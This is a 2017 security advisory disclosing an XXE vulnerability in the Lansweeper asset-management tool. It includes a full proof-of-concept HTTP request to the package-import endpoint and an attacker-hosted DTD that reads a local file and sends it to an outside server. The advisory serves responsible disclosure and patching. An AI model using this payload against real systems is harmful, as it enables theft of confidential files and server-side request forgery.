Lansweeper 6.0.100.29 XXE Injection

`=============================================  
- Release date: October 06th, 2017  
- Discovered by: BarkA+-n KA+-lA+-ASS, Mehmet Dursun Adegnce  
  
- Severity: High  
=============================================  
  
I. VULNERABILITY  
-------------------------  
  
Lansweeper XXE vulnerability.  
  
  
II. INTRODUCTION  
-------------------------  
  
Lansweeper an Asset Management and Network Inventory Tool (v6.0.100.29 and  
probably all previous versions) is affected by a XXE vulnerability.  
  
  
III. DESCRIPTION  
-------------------------  
  
1) XML eXternel Entity Injection  
  
An XML External Entity attack is a type of attack against an  
application that parses XML input. This attack occurs when XML input  
containing a reference to an external entity is processed by a weakly  
configured XML parser. This attack may lead to the disclosure of  
confidential data, denial of service, server side request forgery,  
port scanning from the perspective of the machine where the parser is  
located, and other system impacts. Reference:  
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing  
  
  
A* URL: hostname/deployment/DeploymentActions.aspx?action=importPackage  
A* Method: POST  
  
  
POC (proof of concept)  
  
The vulnerability can be trigged via a POST request as shown in the  
following PoC's.  
  
POST /deployment/DeploymentActions.aspx?action=importPackage HTTP/1.1  
Host: 192.168.179.134:81  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Referer: http://192.168.179.134:81/deployment/  
Cookie: ASP.NET_SessionId=i05i2enzicanyusmf5inmawr; UserSettings=language=1; custauth=username=admin&userdomain=admin  
DNT: 1  
Connection: close  
Upgrade-Insecure-Requests: 1  
Content-Type: multipart/form-data; boundary=---------------------------141141110614240761271519111282  
Content-Length: 390  
  
-----------------------------141141110614240761271519111282  
Content-Disposition: form-data; name="XML"; filename="test.xml"  
Content-Type: text/xml  
  
A-A>>A?<?xml version="1.0" encoding="utf-8"?>  
<!DOCTYPE r [  
<!ELEMENT r ANY >  
<!ENTITY % sp SYSTEM "http://192.168.179.128:81/test.dtd">  
%sp;  
%param1;  
]>  
<r>&exfil;</r>  
  
-----------------------------141141110614240761271519111282  
  
  
As an attacker a web server should be prepared and should be serving a file containing:  
  
cat test.dtd   
<!ENTITY % data SYSTEM "file:///C:\Program Files (x86)\Lansweeper\test.txt">  
<!ENTITY % param1 "<!ENTITY exfil SYSTEM ahttp://192.168.179.128/?%data;'>">  
  
  
  
IV. BUSINESS IMPACT  
-------------------------  
  
An attacker could reach and disclose confidential data, cause denial of service, server side request forgery.  
  
  
V. SYSTEMS AFFECTED  
-------------------------  
  
Version 6.0.100.29 is vulnerable (probably all previous versions)  
  
  
VI. SOLUTION  
-------------------------  
  
Upgrade to version 6.0.100.67 or later.  
  
  
VII. REFERENCES  
-------------------------  
  
lansweeper website:  
  
https://www.lansweeper.com/  
https://www.lansweeper.com/changelog.aspx BUG: #572705  
  
  
VIII. CREDITS  
-------------------------  
  
The vulnerability has been discovered by:  
  
BarkA+-n KA+-lA+-ASS barkin(at)barkin(dot)info  
Mehmet Dursun Adegnce mehmet(at)mehmetince(dot)net  
  
  
IX. ADVISORY TIMELINE  
-------------------------  
  
August 26th, 2017: Vulnerability identification  
August 26th, 2017: CVE Requested  
August 27th, 2017: CVE received - "CVE-2017-13706"  
August 29th, 2017: First contact with vendor  
August 29th, 2017: Vendor response; investigating  
Sept 11th, 2017: Vendor says that the vulnerability will be fixed in the new  
version  
Oct 4th, 2017: Vulnerabilty fixed (Bug 572705). Reference:  
https://www.lansweeper.com/changelog.aspx  
  
  
  
  
X. LEGAL NOTICES  
-------------------------  
  
The information contained within this advisory is supplied "as-is" with no  
warranties or guarantees of fitness of use or otherwise. We accept no  
responsibility for any damage caused by the use or misuse of this  
information.  
  
  
  
  
  
  
`